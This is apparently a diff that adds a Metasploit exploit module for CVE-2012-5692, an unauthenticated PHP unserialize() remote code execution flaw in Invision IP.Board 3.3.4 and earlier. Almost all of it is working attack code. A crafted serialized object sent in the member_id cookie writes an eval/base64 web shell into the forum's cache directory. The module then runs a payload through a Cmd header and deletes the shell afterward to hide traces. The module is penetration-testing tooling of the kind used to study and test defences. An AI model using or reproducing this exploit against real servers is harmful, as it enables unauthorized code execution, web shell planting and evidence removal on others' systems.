|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = ExcellentRanking |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::HttpClient |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'Invision IP.Board <= 3.3.4 unserialize() PHP Code Execution', |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits a php unserialize() vulnerability in Invision IP.Board |
| 20 | + <= 3.3.4 which could be abused to allow unauthenticated users to execute arbitrary |
| 21 | + code under the context of the webserver user. |
| 22 | +
|
| 23 | + The dangerous unserialize() exists in the '/admin/sources/base/core.php' script, |
| 24 | + which is called with user controlled data from the cookie. The exploit abuses the |
| 25 | + __destruct() method from the dbMain class to write arbitrary PHP code to a file on |
| 26 | + the Invision IP.Board web directory. |
| 27 | +
|
| 28 | + The exploit has been tested successfully on Ubuntu 10.04 and Invision IP.Board |
| 29 | + 3.3.4. |
| 30 | + }, |
| 31 | + 'Author' => |
| 32 | + [ |
| 33 | + 'EgiX', # Vulnerability discovery and PoC |
| 34 | + 'juan vazquez' # Metasploit module |
| 35 | + ], |
| 36 | + 'License' => MSF_LICENSE, |
| 37 | + 'References' => |
| 38 | + [ |
| 39 | + [ 'CVE', '2012-5692' ], |
| 40 | + [ 'OSVDB', '86702' ], |
| 41 | + [ 'BID', '56288' ], |
| 42 | + [ 'EDB', '22398' ], |
| 43 | + [ 'URL', 'http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-critical-security-update/' ] |
| 44 | + ], |
| 45 | + 'Privileged' => false, |
| 46 | + 'Platform' => ['php'], |
| 47 | + 'Arch' => ARCH_PHP, |
| 48 | + 'Payload' => |
| 49 | + { |
| 50 | + 'DisableNops' => true, |
| 51 | + }, |
| 52 | + 'Targets' => [ ['Invision IP.Board 3.3.4', {}] ], |
| 53 | + 'DefaultTarget' => 0, |
| 54 | + 'DisclosureDate' => 'Oct 25 2012' |
| 55 | + )) |
| 56 | + |
| 57 | + register_options( |
| 58 | + [ |
| 59 | + OptString.new('TARGETURI', [ true, "The base path to the web application", "/forums/"]) |
| 60 | + ], self.class) |
| 61 | + end |
| 62 | + |
| 63 | + |
| 64 | + def on_new_session(client) |
| 65 | + if client.type == "meterpreter" |
| 66 | + client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") |
| 67 | + begin |
| 68 | + print_warning("#{@peer} - Deleting #{@upload_php}") |
| 69 | + client.fs.file.rm(@upload_php) |
| 70 | + print_good("#{@peer} - #{@upload_php} removed to stay ninja") |
| 71 | + rescue |
| 72 | + print_error("#{@peer} - Unable to remove #{f}") |
| 73 | + end |
| 74 | + end |
| 75 | + end |
| 76 | + |
| 77 | + def exploit |
| 78 | + base = target_uri.path |
| 79 | + base << '/' if base[-1, 1] != '/' |
| 80 | + @upload_php = rand_text_alpha(rand(4) + 4) + ".php" |
| 81 | + @peer = "#{rhost}:#{rport}" |
| 82 | + |
| 83 | + php_payload = "<?eval(base64_decode($_SERVER[HTTP_CMD]));?>" |
| 84 | + db_driver_mysql = "a:1:{i:0;O:15:\"db_driver_mysql\":1:{s:3:\"obj\";a:2:{s:13:\"use_debug_log\";i:1;s:9:\"debug_log\";s:#{"cache/#{@upload_php}".length}:\"cache/#{@upload_php}\";}}}" |
| 85 | + |
| 86 | + print_status("#{@peer} - Exploiting the unserialize() to upload PHP code") |
| 87 | + |
| 88 | + res = send_request_cgi( |
| 89 | + { |
| 90 | + 'uri' => "#{base}index.php?#{php_payload}", |
| 91 | + 'method' => 'GET', |
| 92 | + 'cookie' => "member_id=#{Rex::Text.uri_encode(db_driver_mysql)}" |
| 93 | + }) |
| 94 | + |
| 95 | + if not res or res.code != 200 |
| 96 | + print_error("#{@peer} - Exploit failed: #{res.code}") |
| 97 | + return |
| 98 | + end |
| 99 | + |
| 100 | + print_status("#{@peer} - Executing the payload #{@upload_php}") |
| 101 | + |
| 102 | + res = send_request_cgi( |
| 103 | + { |
| 104 | + 'method' => 'GET', |
| 105 | + 'uri' => "#{base}cache/#{@upload_php}", |
| 106 | + 'headers' => { |
| 107 | + 'Cmd' => Rex::Text.encode_base64(payload.encoded) |
| 108 | + } |
| 109 | + }) |
| 110 | + |
| 111 | + if res |
| 112 | + print_error("#{@peer} - Payload execution failed: #{res.code}") |
| 113 | + return |
| 114 | + end |
| 115 | + |
| 116 | + end |
| 117 | +end |
0 commit comments